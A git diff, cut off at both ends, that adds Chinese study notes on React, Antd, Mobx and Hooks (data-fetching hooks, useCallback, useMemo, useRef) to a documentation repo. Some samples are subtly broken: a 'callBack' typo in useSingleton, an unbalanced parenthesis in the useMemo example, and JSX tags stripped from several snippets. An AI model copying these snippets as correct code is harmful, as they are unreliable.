Fiber\357\274\210\347\272\244\347\250\213\357\274\211\345\217\212\345\205\266\345\267\245\344\275\234\345\216\237\347\220\206.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\236\266\346\236\204.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \346\272\220\347\240\201\346\226\207\344\273\266\347\273\223\346\236\204.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\212\266\346\200\201\346\233\264\346\226\260.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\220\206\345\277\265.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/commit \351\230\266\346\256\265\346\265\201\347\250\213.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/render \351\230\266\346\256\265\346\265\201\347\250\213.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/structure.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/\346\267\261\345\205\245\347\220\206\350\247\243JSX.md" create mode 100644 "src/React/\351\253\230\347\272\247 React \347\273\204\344\273\266\347\273\204\345\220\210.md" create mode 100644 "src/\345\205\203\346\241\206\346\236\266/Umi/UmiJS \344\271\214\347\261\263\345\255\246\344\271\240\345\256\236\346\210\230.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/React/React \351\235\242\350\257\225.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/React/React \351\235\242\350\257\225\351\242\230\357\274\210\344\270\200\357\274\211.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/React/React \351\235\242\350\257\225\351\242\230\357\274\210\344\272\214\357\274\211.md" diff --git "a/src/React/Antd \347\273\204\344\273\266\345\272\223/Antd Pro \346\226\260\346\211\213\344\270\212\350\267\257\345\237\272\347\241\200\347\237\245\350\257\206.md" "b/src/React/Antd \347\273\204\344\273\266\345\272\223/Antd Pro \346\226\260\346\211\213\344\270\212\350\267\257\345\237\272\347\241\200\347\237\245\350\257\206.md" new file mode 100644 index 00000000..e2e9a338 --- /dev/null +++ "b/src/React/Antd \347\273\204\344\273\266\345\272\223/Antd Pro \346\226\260\346\211\213\344\270\212\350\267\257\345\237\272\347\241\200\347\237\245\350\257\206.md" @@ -0,0 +1,30 @@ +--- +date: 2022-08-31 +category: +- React +tag: +- Antd +--- +# Antd Pro 新手上路基础知识 + +> 参照学习内容: +> +> [新手须知](https://pro.ant.design/zh-CN/docs/introduction) + +## 各种库 + +- dva +- Ant Design Chart简单好用的 React 图表库 +- ProComponents 模板组件 +- useModel 简易数据流 + +## Umi插件 + +- [plugin-access](https://umijs.org/zh-CN/plugins/plugin-access),权限管理 +- [plugin-analytics](https://umijs.org/zh-CN/plugins/plugin-analytics),统计管理 +- [plugin-antd](https://umijs.org/zh-CN/plugins/plugin-antd),整合 antd UI 组件 +- [plugin-initial-state](https://umijs.org/zh-CN/plugins/plugin-initial-state),初始化数据管理 +- [plugin-layout](https://umijs.org/zh-CN/plugins/plugin-layout),配置启用 ant-design-pro 的布局 +- [plugin-locale](https://umijs.org/zh-CN/plugins/plugin-locale),国际化能力 +- [plugin-model](https://umijs.org/zh-CN/plugins/plugin-model),基于 hooks 的简易数据流 +- [plugin-request](https://umijs.org/zh-CN/plugins/plugin-request),基于 umi-request 和 umi-hooks 的请求方案 diff --git "a/src/React/Antd \347\273\204\344\273\266\345\272\223/Antd \350\241\250\345\215\225\345\237\272\347\241\200\344\275\277\347\224\250.md" "b/src/React/Antd \347\273\204\344\273\266\345\272\223/Antd \350\241\250\345\215\225\345\237\272\347\241\200\344\275\277\347\224\250.md" new file mode 100644 index 00000000..48838fc4 --- /dev/null +++ "b/src/React/Antd \347\273\204\344\273\266\345\272\223/Antd \350\241\250\345\215\225\345\237\272\347\241\200\344\275\277\347\224\250.md" @@ -0,0 +1,47 @@ +--- +date: 2022-08-31 +category: +- React +tag: +- Antd +--- + +# Antd 表单基础使用 + +## 获取表单实例 + + +## 表单数据操作 + +### Antd form表单的使用、设值、取值、清空值 + +1、使用 + +```js +{this.props.form.getFieldDecorator("key",{})()} +``` + +2、设值 + +```js +this.props.form.setFieldsValue({ + key: '123', +}); +``` + +3、取值 + +```js +this.props.form.validateFields((err, values) => { + if (!err) { + console.log("表单信息", values); + } +}); +``` + +4、清空值 + +```js +this.props.form.resetFields(); +``` + diff --git "a/src/React/Mobx \346\225\231\347\250\213.md" "b/src/React/Mobx \346\225\231\347\250\213.md" new file mode 100644 index 00000000..fc7fc9f5 --- /dev/null +++ "b/src/React/Mobx \346\225\231\347\250\213.md" @@ -0,0 +1,144 @@ +--- +date: 2022-05-02 +category: +- React +--- + +# Mobx 教程 + +## 简介 + +image-20220501165700622 + +一个可以和React良好配合的集中状态管理工具, + +mobx和react的关系,相当于vuex和vue + +同类工具还有: + + 1. redux + + 2. dva + + 3. recoil + + ### 优势 + +1. 简单 + + 编写无模板的极简代码来精准描述你的意图(原生js) + +2. 轻松实现最优渲染 + + 依赖自动追踪最小渲染优化 + +3. 架构自由 + + 可移植,可测试 + +## 环境搭建 + +### 配置说明 + +Mobx是一个独立的响应式的库,可以独立于任何UI框架而存在,但是通常人们把它和React +来绑定使使用,用Mobx来做响应式数据建模,React作为UI视图框架渲染内容 + +所以配置方面我们需要三个部分: + + +1. 一个通过create-react-app 创建好的react项目环境 +2. mobx本身 +3. 一个链接mobx和react的中间部件 + +### 如何配置 + +1. 使用 create-react-app初始化react项目 + + ![image-20220501165845564](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501165845564.png) + +2. 安装mobx和mobx-react-lite + + ![image-20220501165859457](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501165859457.png) + +## 第一个store + +需求:使用Mobx实现计数器案例,mobx负责计数逻辑,react负责渲染和事件触发 + +image-20220501165935639 + +### 初始化mobx + +实现步骤 + + +1. 定义数据状态(state) +2. 数据响应式处理 +3. 定义action函数 (修改数据) +4. 实例化并导出实例 + +![image-20220501170023292](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501170023292.png) + +### 连接react + +实现步骤 + + +1. 导入store实例 +2. 使用store中的数据 +3. 修改store中的数据 +4. 让组件视图响应数据变化 + +![image-20220501170325716](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501170325716.png) + +## computed + +**概念:**基于现有的数据做计算得到新的数据,并且可以在依赖的数据发生变化时立刻进行计算(与Vue同理) + +![image-20220501170441549](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501170441549.png) + +实现步骤 + + +1. 声明一个存在的数据 +2. 定义get 计算属性 ( 定义计算公式 ) +3. 在makeAutoObservable方法中标记 + +![image-20220501173035448](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501173035448.png) + +## 模块化 + +一个项目有很多业务模块,我们不能把所有的代码都写到一起,这样很难维护,为了提供可维护性,需要引入模块化 + +image-20220501173146255 + +### 怎么做? + +![image-20220501174752747](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501174752747.png) + +1. 拆分Count和List模块,每个模块定义自己独立的state/actions +2. 在store/index.js中导入拆分之后的模块,进行模块组合 +3. 使用React的 useContext机制导出统一的useStore方法,供业务组件使用 + +![image-20220501174855195](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501174855195.png) + +### 总结 + +**1. 初始化mobx的过程是怎样的 ?** + +声明数据 -> 响应式处理 -> 定义action函数 -> 实例化导出 + +**2. mobx如何配合react, 需要依赖什么包 ?** + +mobx-react-lite作为链接包,导出observer方法,包裹组件(只能和函数组件配合) + +**3. 模块化解决了什么问题 ?** + +维护性问题 + +**4. 如何实现mobx的模块化 ?** + +按照功能拆分store模块,根模块中组合子模块,利用context机制依赖注入 + +## 职责划分 + +![image-20220501175110210](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501175110210.png) diff --git "a/src/React/React Hooks\347\254\224\350\256\260/Hooks \345\256\236\346\210\230\347\257\207.md" "b/src/React/React Hooks\347\254\224\350\256\260/Hooks \345\256\236\346\210\230\347\257\207.md" new file mode 100644 index 00000000..f7cedd36 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/Hooks \345\256\236\346\210\230\347\257\207.md" @@ -0,0 +1,265 @@ +--- +date: 2022-05-17 +category: +- React +- React Hooks +--- + +# Hooks 实战篇 + +## 复杂状态处理:如何保证状态一致性? + +todo!!!! + + +## 异步处理:如何向服务器端发送请求? + +虽然发请求拿数据有很多种做法,但基本上都会遵循一定的规律 + +### 实现自己的 API Client + +无论大小项目,在开始实现第一个请求的时候,通常我们要做的第一件事应该都是创建一个自己的 API Client,之后所有的请求都会通过这个 Client 发出去。而不是上来就用 fetch 或者是 axios 去直接发起请求,因为那会造成大量的重复代码。 + +通常来说,会包括以下几个方面: + +1. 一些通用的 Header。比如 Authorization Token。 +2. 服务器地址的配置。前端在开发和运行时可能会连接不同的服务器,比如本地服务器或者测试服务器,此时这个 API Client 内部可以根据当前环境判断该连接哪个 URL。 +3. 请求未认证的处理。比如如果 Token 过期了,需要有一个统一的地方进行处理,这时就会弹出对话框提示用户重新登录。 + +从我的经验来看,我更推荐把 axios 作为基础来实现这个功能。原因就在于,axios 比起 fetch,提供了更为方便,也更加语义化的 API,比如请求拦截。此外,还很容易创建多个实例,让代码逻辑更简洁。所以我就以 axios 为例,提供一个示例实现: + +```js +import axios from "axios"; + +// 定义相关的 endpoint +const endPoints = { + test: "https://60b2643d62ab150017ae21de.mockapi.io/", + prod: "https://prod.myapi.io/", + staging: "https://staging.myapi.io/" +}; + +// 创建 axios 的实例 +const instance = axios.create({ + // 实际项目中根据当前环境设置 baseURL + baseURL: endPoints.test, + timeout: 30000, + // 为所有请求设置通用的 header + headers: { Authorization: "Bear mytoken" } +}); + +// 听过 axios 定义拦截器预处理所有请求 +instance.interceptors.response.use( + (res) => { + // 可以假如请求成功的逻辑,比如 log + return res; + }, + (err) => { + if (err.response.status === 403) { + // 统一处理未授权请求,跳转到登录界面 + document.location = '/login'; + } + return Promise.reject(err); + } +); + +export default instance; +``` + +这样我们就定义了一个简单的 API Client,之后所有的请求都可以通过 Client 连接到指定的服务器,从而不再需要单独设置 Header,或者处理未授权的请求了。当然,虽然例子中用的是 axios,但如果你更倾向于原生的 fetch API,那么使用 fetch 也是完全可以的。这两种方式没有绝对的优劣,你可以按照自己的喜好进行选择。 + +### 使用 Hooks 思考异步请求:封装远程资源 + +下面这张图可以比较直观地描述这种模式。对于一个 Get 类型的 API,我们完全可以将它看成一个远程的资源。只是和本地数据不同的地方在于,它有三个状态,分别是: + +1. Data: 指的是请求成功后服务器返回的数据; +2. Error: 请求失败的话,错误信息将放到 Error 状态里; +3. Pending: 请求发出去,在返回之前会处于 Pending 状态。 + +有了这三个状态,我们就能够在 UI 上去显示 loading,error 或者获取成功的数据了。使用起来会非常方便。要实现这样一个 Hook 其实也并不难,比起在组件内部直接发请求,我们只是把代码换了个地方,也就是写到了 Hook 里面。下面是代码的实现: + +```jsx +import { useState, useEffect } from "react"; +import apiClient from "./apiClient"; + +// 将获取文章的 API 封装成一个远程资源 Hook +const useArticle = (id) => { + // 设置三个状态分别存储 data, error, loading + const [data, setData] = useState(null); + const [loading, setLoading] = useState(false); + const [error, setError] = useState(null); + useEffect(() => { + // 重新获取数据时重置三个状态 + setLoading(true); + setData(null); + setError(null); + apiClient + .get(`/posts/${id}`) + .then((res) => { + // 请求成功时设置返回数据到状态 + setLoading(false); + setData(res.data); + }) + .catch((err) => { + // 请求失败时设置错误状态 + setLoading(false); + setError(err); + }); + }, [id]); // 当 id 变化时重新获取数据 + + // 将三个状态作为 Hook 的返回值 + return { + loading, + error, + data + }; +}; +``` + +那么要显示一篇文章的时候,你的脑子里就不再是一个具体的 API 调用,而可以把它看作一个数据,只不过是个远程数据,于是很自然就有加载状态或者错误状态这些数据了。使用的时候,我们就可以把组件的表现层逻辑写得非常简洁: + +```jsx +import useArticle from "./useArticle"; + +const ArticleView = ({ id }) => { + // 将 article 看成一个远程资源,有 data, loading, error 三个状态 + const { data, loading, error } = useArticle(id); + if (error) return "Failed."; + if (!data || loading) return "Loading..."; + return ( +
    +

    + {id}. {data.title} +

    +

    {data.content}

    +
    + ); +}; +``` + +可以看到,有了这样一个 Hook,React 的函数组件几乎不需要有任何业务的逻辑,而只是**把数据映射到 JSX 并显示出来**就可以了,在使用的时候非常方便。 + +事实上,在我们的项目中,可以把每一个 Get 请求都做成这样一个 Hook。数据请求和处理逻辑都放到 Hooks 中,从而实现 Model 和 View 的隔离,不仅代码更加模块化,而且更易于测试和维护。 + +这里有同学可能会问,为什么要给每个请求都定义一个 Hook 呢?我们直接提供一个通用的 Hook,比如 useRemoteData,然后把 API 地址传进去,难道不可以吗? + +不是完全不可以,**但这其实是为了保证每个 Hook 自身足够简单。**一般来说,为了让服务器的返回数据满足 UI 上的展现要求,通常需要进一步处理。而这个对于每个请求的处理逻辑可能都不一样,通过一定的代码重复,能够避免产生太复杂的逻辑。 + +这个模式仅适用于 Get 请求的逻辑。 + +### 多个 API 调用:如何处理并发或串行请求? + +发送三个请求: + +1. 获取文章内容; +2. 获取作者信息,包括名字和头像的地址; +3. 获取文章的评论列表; + +这三个请求同时包含了**并发和串行的场景**:文章内容和评论列表是两个可以并发的请求,它们都通过 Article ID 来获取;用户的信息需要等文章内容返回,这样才能知道作者的 ID,从而根据用户的 ID 获取用户信息,这是一个串行的场景。 + +如果用传统的思路去实现,可能会写下这样一段代码,或者类似的代码: + +```js +// 并发获取文章和评论列表 +const [article, comments] = await Promise.all([ + fetchArticle(articleId), + fetchComments(articleId) +]); +// 得到文章信息后,通过 userId 获取用户信息 +const user = await fetchUser(article.userId); +``` + +但是我们知道,**React 函数组件是一个同步的函数**,没有办法直接使用 await 这样的同步方法,**而是要把请求通过副作用去触发**。因此如果按照上面这种传统的思维,是很难把逻辑理顺的。 + +我们可以从状态变化的角度去组织异步调用。 + +函数组件的每一次 render,其实都提供了我们根据状态变化执行不同操作的机会,我们思考的路径,**就是利用这个机制,通过不同的状态组合,来实现异步请求的逻辑。** + +主要的实现思路就包括下面这么四点: + +1. 组件首次渲染,只有文章 ID 这个信息,产生两个副作用去获取文章内容和评论列表; +2. 组件首次渲染,作者 ID 还不存在,因此不发送任何请求; +3. 文章内容请求返回后,获得了作者 ID,然后发送请求获取用户信息; +4. 展示用户信息。 + +可以看到,这里的任何一个副作用,也就是异步请求,都是基于数据的状态去进行的。只有当文章的数据返回之后,我们才能得到作者 ID,从而再发送另外一个请求来获取作者信息。这样基于一个数据状态的变化,我们就实现了串行发送请求这个功能。 + +所以,在代码层面,我们首先需要对 useUser 这个 Hook 做一个改造,使得它在没有传入 ID 的情况下,就不发送请求。对比上面的 useArticle 这个 Hook,唯一的变化就是在 useEffect 里加入了ID 是否存在的判断: + +```jsx +import { useState, useEffect } from "react"; +import apiClient from "./apiClient"; + +export default (id) => { + const [data, setData] = useState(null); + const [loading, setLoading] = useState(false); + const [error, setError] = useState(null); + useEffect(() => { + // 当 id 不存在,直接返回,不发送请求 + if (!id) return; + setLoading(true); + setData(null); + setError(null); + apiClient + .get(`/users/${id}`) + .then((res) => { + setLoading(false); + setData(res.data); + }) + .catch((err) => { + setLoading(false); + setError(err); + }); + }, [id]); + return { + loading, + error, + data + }; +}; +``` + +那么,在文章的展示页面,我们就可以使用下面的代码来实现: + +```jsx +import { useState } from "react"; +import CommentList from "./CommentList"; +import useArticle from "./useArticle"; +import useUser from "./useUser"; +import useComments from "./useComments"; + +const ArticleView = ({ id }) => { + const { data: article, loading, error } = useArticle(id); + const { data: comments } = useComments(id); + const { data: user } = useUser(article?.userId); + if (error) return "Failed."; + if (!article || loading) return "Loading..."; + return ( +
    +

    + {id}. {article.title} +

    + {user && ( +
    + user +
    {user.name}
    +
    {article.createdAt}
    +
    + )} +

    {article.content}

    + +
    + ); +}; +``` + +思路: + +因为文章的 ID 已经传进来了,因此 useArticle 和 useComments 这两个 Hooks 会发出两个并发的请求,来分别获取信息。而 userUser 这个 Hook 则需要等 article 内容返回后,才能获得 userId 信息,所以这是一个串行的请求:需要等文章内容的请求完成之后才能发起。 + +### 小结 + +首先,我们要定义一个自己的 **API Client**,封装整个应用中异步请求的一些通过设置,以及统一处理,方便在 Hooks 中使用。 + +然后,我们需要充分利用 Hooks 能让数据源变得可绑定的能力,**让一个远程 API 对应的数据成为一个语义化的数据源**,既可以把业务逻辑和 UI 展现很好地分开,也有利于测试和维护。 + +**利用状态的组合变化来实现并发和串行请求。** diff --git "a/src/React/React Hooks\347\254\224\350\256\260/Hooks \357\274\232\345\246\202\344\275\225\346\255\243\347\241\256\347\220\206\350\247\243\345\207\275\346\225\260\347\273\204\344\273\266\347\232\204\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" "b/src/React/React Hooks\347\254\224\350\256\260/Hooks \357\274\232\345\246\202\344\275\225\346\255\243\347\241\256\347\220\206\350\247\243\345\207\275\346\225\260\347\273\204\344\273\266\347\232\204\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" new file mode 100644 index 00000000..aee7375c --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/Hooks \357\274\232\345\246\202\344\275\225\346\255\243\347\241\256\347\220\206\350\247\243\345\207\275\346\225\260\347\273\204\344\273\266\347\232\204\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" @@ -0,0 +1,112 @@ +--- +date: 2022-05-17 +category: +- React +- React Hooks +--- + +# Hooks :如何正确理解函数组件的生命周期? + +比如对于在第三讲介绍的例子,一个用于显示博客文章的组件接收一个文章的 id 作为参数,然后根据这个 id 从服务器端获取文章的内容并显示出来。那么当 id 变化的时候,你就需要检测到这个变化,并重新发送请求,显示在界面上。在 Class 组件中,你通常要用如下的代码实现: + +```jsx +class BlogView extends React.Component { + // ... + componentDidMount() { + // 组件第一次加载时去获取 Blog 数据 + fetchBlog(this.props.id); + } + componentDidUpdate(prevProps) { + if (prevProps.id !== this.props.id) { + // 当 Blog 的 id 发生变化时去获取博客文章 + fetchBlog(this.props.id); + } + } + // ... +} +``` + +to + +```jsx +function BlogView({ id }) { + useEffect(() => { + // 当 id 变化时重新获取博客文章 + fetchBlog(id); + }, [id]); // 定义了依赖项 id +} +``` + +在函数组件中你要思考的方式永远是:**当某个状态发生变化时,我要做什么**,而不再是在 Class 组件中的某个生命周期方法中我要做什么。 + +## 重新思考组件的生命周期 + +### 构造函数 + +那么在函数组件中,我们应该如何去做一些初始化的事情呢?答案是:函数组件基本上没有统一的初始化需要,因为 Hooks 自己会负责自己的初始化。比如 useState 这个 Hook,接收的参数就是定义的 State 初始值。而在过去的类组件中,你通常需要在构造函数中直接设置 this.state ,也就是设置某个值来完成初始化。 + +构造函数的本质,其实就是:在所以其它代码执行之前的一次性初始化工作。 + +虽然没有直接的机制可以做到这一点,但是利用 useRef 这个 Hook,我们可以实现一个 useSingleton 这样的一次性执行某段代码的自定义 Hook,代码如下: + +```jsx +import { useRef } from 'react'; + +// 创建一个自定义 Hook 用于执行一次性代码 +function useSingleton(callback) { + // 用一个 called ref 标记 callback 是否执行过 + const called = useRef(false); + // 如果已经执行过,则直接返回 + if (called.current) return; + // 第一次调用时直接执行 + callBack(); + // 设置标记为已执行过 + called.current = true; +} +``` + +从而在一个函数组件中,可以调用这个自定义 Hook 来执行一些一次性的初始化逻辑: + +```jsx +import useSingleton from './useSingleton'; + +const MyComp = () => { + // 使用自定义 Hook + useSingleton(() => { + console.log('这段代码只执行一次'); + }); + + return ( +
    My Component
    + ); +}; +``` + +### 三种常用的生命周期方法 + +在类组件中,componentDidMount,componentWillUnmount,和 componentDidUpdate 这三个生命周期方法可以说是日常开发最常用的。业务逻辑通常要分散到不同的生命周期方法中,比如说在上面的 Blog 文章的例子中,你需要同时在 componentDidMount 和 componentDidUpdate 中去获取数据。 + +而在函数组件中,这几个生命周期方法可以统一到 useEffect 这个 Hook,正如 useEffect 的字面含义,它的作用就是触发一个副作用,即在组件每次 render 之后去执行。 + +```jsx +useEffect(() => { + // componentDidMount + componentDidUpdate + console.log('这里基本等价于 componentDidMount + componentDidUpdate'); + return () => { + // componentWillUnmount + console.log('这里基本等价于 componentWillUnmount'); + } +}, [deps]) +``` + +一方面,useEffect(callback) 这个 Hook 接收的 callback,只有在依赖项变化时才被执行。而传统的 componentDidUpdate 则一定会执行。这样来看,Hook 的机制其实更具有语义化,因为过去在 componentDidUpdate 中,我们通常都需要手动判断某个状态是否发生变化,然后再执行特定的逻辑。 + +另一方面,callback 返回的函数(一般用于清理工作)在下一次依赖项发生变化以及组件销毁之前执行,而传统的 componentWillUnmount 只在组件销毁时才会执行。 + +useEffect 中返回的回调函数,只是清理当前执行的 Effect 本身。这其实是更加语义化的,因此你不用将其映射到 componentWillUnmount,它也完全不等价于 componentWillUnmount。你只需记住它的作用就是用于清理上一次 Effect 的结果就行了,这样在实际的开发中才能够使用得更加自然和合理。 + +### 其他方法 + +Class 组件中还有其它一些比较少用的方法,比如 getSnapshotBeforeUpdate, componentDidCatch, getDerivedStateFromError。比较遗憾的是目前 Hooks 还没法实现这些功能。因此如果必须用到,你的组件仍然需要用类组件去实现。date: 2022-05-17 +category: +- React diff --git "a/src/React/React Hooks\347\254\224\350\256\260/Hooks\357\274\2102\357\274\211\357\274\232\351\201\277\345\205\215\351\207\215\345\244\215\345\256\232\344\271\211\345\233\236\350\260\203\345\207\275\346\225\260.md" "b/src/React/React Hooks\347\254\224\350\256\260/Hooks\357\274\2102\357\274\211\357\274\232\351\201\277\345\205\215\351\207\215\345\244\215\345\256\232\344\271\211\345\233\236\350\260\203\345\207\275\346\225\260.md" new file mode 100644 index 00000000..cbce0683 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/Hooks\357\274\2102\357\274\211\357\274\232\351\201\277\345\205\215\351\207\215\345\244\215\345\256\232\344\271\211\345\233\236\350\260\203\345\207\275\346\225\260.md" @@ -0,0 +1,296 @@ +--- +date: 2022-05-17 +category: +- React +- React Hooks +--- +# Hooks(2):避免重复定义回调函数 + +## useCallback:缓存回调函数 + +在 React 函数组件中,每一次 UI 的变化,都是通过重新执行整个函数来完成的,这和传统的 Class 组件有很大区别:函数组件中并没有一个直接的方式在多次渲染之间维持一个状态。 + +比如下面的代码中,我们在加号按钮上定义了一个事件处理函数,用来让计数器加 1。但是因为定义是在函数组件内部,因此在多次渲染之间,是无法重用 handleIncrement 这个函数的,而是每次都需要创建一个新的: + +```jsx +function Counter() { + const [count, setCount] = useState(0); + const handleIncrement = () => setCount(count + 1); + // ... + return +} +``` + +这也意味着,即使 count 没有发生变化,但是函数组件因为其它状态发生变化而重新渲染时,这种写法也会每次创建一个新的函数。创建一个新的事件处理函数,虽然不影响结果的正确性,但其实是没必要的。因为这样做不仅增加了系统的开销,更重要的是:**每次创建新函数的方式会让接收事件处理函数的组件,需要重新渲染。** + +比如这个例子中的 button 组件,接收了 handleIncrement ,并作为一个属性。如果每次都是一个新的,那么这个 React 就会认为这个组件的 props 发生了变化,从而必须重新渲染。因此,我们需要做到的是:**只有当 count 发生变化时,我们才需要重新定一个回调函数。而这正是 useCallback 这个 Hook 的作用。** + +```js +useCallback(fn, deps) +``` + +这里 fn 是定义的回调函数,deps 是依赖的变量数组。只有当某个依赖变量发生变化时,才会重新声明 fn 这个回调函数。 + +```jsx +import React, { useState, useCallback } from 'react'; + +function Counter() { + const [count, setCount] = useState(0); + const handleIncrement = useCallback( + () => setCount(count + 1), + [count], // 只有当 count 发生变化时,才会重新创建回调函数 + ); + // ... + return +} +``` + +在这里,我们把 count 这个 state ,作为一个依赖传递给 useCallback。这样,只有 count 发生变化的时候,才需要重新创建一个回调函数,这样就保证了组件不会创建重复的回调函数。而接收这个回调函数作为属性的组件,也不会频繁地需要重新渲染。 + +useCallback 缓存的是一个函数,而 useMemo 缓存的是计算的结果 + +## useMemo:缓存计算的结果 + +useMemo 的 API 签名如下: + +```js +useMemo(fn, deps); +``` + +这里的 fn 是产生所需数据的一个计算函数。通常来说,fn 会使用 deps 中声明的一些变量来生成一个结果,用来渲染出最终的 UI。 + +这个场景应该很容易理解:**如果某个数据是通过其它数据计算得到的,那么只有当用到的数据,也就是依赖的数据发生变化的时候,才应该需要重新计算。** + +举个例子,对于一个显示用户信息的列表,现在需要对用户名进行搜索,且 UI 上需要根据搜索关键字显示过滤后的用户,那么这样一个功能需要有两个状态: + +1. 用户列表数据本身:来自某个请求。 +2. 搜索关键字:用户在搜索框输入的数据。 + +无论是两个数据中的哪一个发生变化,都需要过滤用户列表以获得需要展示的数据。那么如果不使用 useMemo 的话,就需要用这样的代码实现: + +```jsx +import React, { useState, useEffect } from "react"; + +export default function SearchUserList() { + const [users, setUsers] = useState(null); + const [searchKey, setSearchKey] = useState(""); + + useEffect(() => { + const doFetch = async () => { + // 组件首次加载时发请求获取用户数据 + const res = await fetch("https://reqres.in/api/users/"); + setUsers(await res.json()); + }; + doFetch(); + }, []); + let usersToShow = null; + + if (users) { + // 无论组件为何刷新,这里一定会对数组做一次过滤的操作 + usersToShow = users.data.filter((user) => + user.first_name.includes(searchKey), + ); + } + + return ( +
    + setSearchKey(evt.target.value)} + /> +
      + {usersToShow && + usersToShow.length > 0 && + usersToShow.map((user) => { + return
    • {user.first_name}
    • ; + })} +
    +
    + ); +} +``` + +在这个例子中,无论组件为何要进行一次重新渲染,实际上都需要进行一次过滤的操作。但其实你只需要在 users 或者 searchKey 这两个状态中的某一个发生变化时,重新计算获得需要展示的数据就行了。那么,这个时候,我们就可以用 useMemo 这个 Hook 来实现这个逻辑,缓存计算的结果: + +```jsx + +//... +// 使用 userMemo 缓存计算的结果 +const usersToShow = useMemo(() => { + if (!users) return null; + return users.data.filter((user) => { + return user.first_name.includes(searchKey)); + } + }, [users, searchKey]); +//... +``` + +除了避免重复计算之外,useMemo 还有一个很重要的好处:**避免子组件的重复渲染。** + +比如在例子中的 usersToShow 这个变量,如果每次都需要重新计算来得到,那么对于 UserList 这个组件而言,就会每次都需要刷新,因为它将 usersToShow 作为了一个属性。而一旦能够缓存上次的结果,就和 useCallback 的场景一样,可以避免很多不必要的组件刷新。 + +**useCallback 的功能其实是可以用 useMemo 来实现的。** + +```jsx +const myEventHandler = useMemo(() => { + // 返回一个函数作为缓存结果 + return () => { + // 在这里进行事件处理 + } +}, [dep1, dep2]); +``` + +它们只是做了同一件事情:**建立了一个绑定某个结果到依赖数据的关系。只有当依赖变了,这个结果才需要被重新得到。** + +## useRef:在多次渲染之间共享数据 + +函数组件虽然非常直观,简化了思考 UI 实现的逻辑,但是比起 Class 组件,还缺少了一个很重要的能力:**在多次渲染之间共享数据。** + +在类组件中,我们可以定义类的成员变量,以便能在对象上通过成员属性去保存一些数据。但是在函数组件中,是没有这样一个空间去保存数据的。因此,React 让 useRef 这样一个 Hook 来提供这样的功能。 + +```js +const myRefContainer = useRef(initialValue); +``` + +**我们可以把 useRef 看作是在函数组件之外创建的一个容器空间。** + +> 假设你要去做一个计时器组件,这个组件有开始和暂停两个功能。很显然,你需要用 window.setInterval 来提供计时功能;而为了能够暂停,你就需要在某个地方保存这个 window.setInterval 返回的计数器的引用,确保在点击暂停按钮的同时,也能用 window.clearInterval 停止计时器。那么,这个保存计数器引用的最合适的地方,就是 useRef,因为它可以存储跨渲染的数据。代码如下: + +```js +import React, { useState, useCallback, useRef } from "react"; + +export default function Timer() { + // 定义 time state 用于保存计时的累积时间 + const [time, setTime] = useState(0); + + // 定义 timer 这样一个容器用于在跨组件渲染之间保存一个变量 + const timer = useRef(null); + + // 开始计时的事件处理函数 + const handleStart = useCallback(() => { + // 使用 current 属性设置 ref 的值 + timer.current = window.setInterval(() => { + setTime((time) => time + 1); + }, 100); + }, []); + + // 暂停计时的事件处理函数 + const handlePause = useCallback(() => { + // 使用 clearInterval 来停止计时 + window.clearInterval(timer.current); + timer.current = null; + }, []); + + return ( +
    + {time / 10} seconds. +
    + + +
    + ); +} +``` + +使用 useRef 保存的数据一般是和 UI 的渲染无关的,因此当 ref 的值发生变化时,是不会触发组件的重新渲染的,这也是 useRef 区别于 useState 的地方。 + +除了存储跨渲染的数据之外,useRef 还有一个重要的功能,**就是保存某个 DOM 节点的引用**。我们知道,在 React 中,几乎不需要关心真实的 DOM 节点是如何渲染和修改的。但是在某些场景中,我们必须要获得真实 DOM 节点的引用,所以结合 React 的 ref 属性和 useRef 这个 Hook,我们就可以获得真实的 DOM 节点,并对这个节点进行操作。 + +> 比如说,你需要在点击某个按钮时让某个输入框获得焦点,可以通过下面的代码来实现: + +```jsx +function TextInputWithFocusButton() { + const inputEl = useRef(null); + const onButtonClick = () => { + // current 属性指向了真实的 input 这个 DOM 节点,从而可以调用 focus 方法 + inputEl.current.focus(); + }; + return ( + <> + + + + ); +} +``` + +## useContext:定义全局状态 + +**全局状态管理** + +为此,React 提供了 Context 这样一个机制,能够让所有在某个组件开始的组件树上创建一个 Context。这样这个组件树上的所有组件,就都能访问和修改这个 Context 了。那么在函数组件里,我们就可以使用 useContext 这样一个 Hook 来管理 Context。 + +useContext 的 API 签名如下: + +```js +const value = useContext(MyContext); +``` + +正如刚才提到的,一个 Context 是从某个组件为根组件的组件树上可用的,所以我们需要有 API 能够创建一个 Context,这就是 **React.createContext API,**如下: + +```js +const MyContext = React.createContext(initialValue); +``` + +这里的 MyContext 具有一个 Provider 的属性,一般是作为组件树的根组件。 + +一个主题的切换机制。代码如下: + +```jsx +const themes = { + light: { + foreground: "#000000", + background: "#eeeeee" + }, + dark: { + foreground: "#ffffff", + background: "#222222" + } +}; +// 创建一个 Theme 的 Context + +const ThemeContext = React.createContext(themes.light); +function App() { + // 整个应用使用 